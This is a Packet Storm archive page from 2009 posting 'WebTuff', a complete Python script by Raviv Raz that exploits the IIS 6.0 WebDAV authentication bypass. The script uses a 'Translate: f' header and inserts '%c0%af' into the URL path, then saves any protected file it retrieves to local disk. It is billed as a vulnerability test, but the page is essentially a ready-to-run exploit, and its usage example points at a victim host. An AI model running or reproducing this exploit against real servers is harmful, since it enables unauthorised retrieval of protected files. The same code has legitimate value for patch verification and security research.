what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WebTuff IIS 6.0 WebDAV Authentication Bypass

WebTuff IIS 6.0 WebDAV Authentication Bypass
Posted May 27, 2009
Authored by Raviv Raz

WebTuff is a tool to test for the IIS 6.0 WebDAV authentication bypass vulnerability.

tags | exploit, bypass
SHA-256 | 962b69de61490a46ff34f5d84021349fb8293ca003948bee1457d57d305ba85d

WebTuff IIS 6.0 WebDAV Authentication Bypass

Change Mirror Download
"""
WebTuff v1.0
Copyright 2009, Raviv Raz - ravivr@gmail.com
WebTuff is distributed under the terms of the GNU General Public License
WebTuff is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

"""
from sys import argv
from urlparse import urlparse
from cStringIO import StringIO
import httplib
headers = {"Translate":"f","Connection":"close"}
def usage():
print ""
print "Copyright 2009, Raviv Raz - ravivr@gmail.com"
print "WebTuff is a testing utility that verifies"
print "whether your IIS server is vulnerable to"
print "Microsoft IIS 6.0\nWebDAV Remote Authentication Bypass"
print "In a successful breach, WebTuff saves the"
print "remote resource locally under the same name"
print "\nUsage: %s <url to web directory>\nFor example: %s http://www.victim.com/path/to/file.txt"%(argv[0],argv[0])
raw_input()
raise SystemExit

def obfuscate(url):
path = urlparse(url)[2]
obfuscated = path[0:len(path)/2]+"%c0%af"+path[len(path)/2:]
newUrl = url.replace(path,obfuscated)
return newUrl

def main():
try:
originalUrl = str(argv[1])
hostname = urlparse(originalUrl)[1]
filename = originalUrl[originalUrl.rfind("/")+1:]
except:
usage()
obUrl = obfuscate(originalUrl)
print "[!] Attempting to connect to: %s"%originalUrl
try:
conn = httplib.HTTPConnection(hostname)
conn.request( "GET", urlparse(originalUrl)[2],None,headers )
response = conn.getresponse()
if response.status == 404:
print "[x] Resource was not found on the server."
elif response.status == 401:
print "[x] Request denied by IIS authentication. Good."
elif response.status == 200:
print "[v] Resource was retrieved without any authentication! You must apply ACL to web folders."
print "[!] Proceeding with URL obfuscation:",obUrl
conn = httplib.HTTPConnection(hostname)
conn.request( "GET", urlparse(obUrl)[2],None,headers )
response = conn.getresponse()
if response.status == 404:
print "[x] Resource was not found on the server."
elif response.status == 401:
print "[x] Request still denied by IIS authentication. You are protected against this attack."
elif response.status == 200:
print "[v] URL Obfuscation attack succeeded! You must apply security to IIS immediately."
print "[v] The contents of this resource have been saved into: %s\n"%filename
data = StringIO(response.read())
output = open(filename,"wb")
output.write(data.read())
output.close()
except:
print "[x] Connection failed. Breaking connection"
conn.close()
raise SystemExit

if __name__ == "__main__":
main()

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close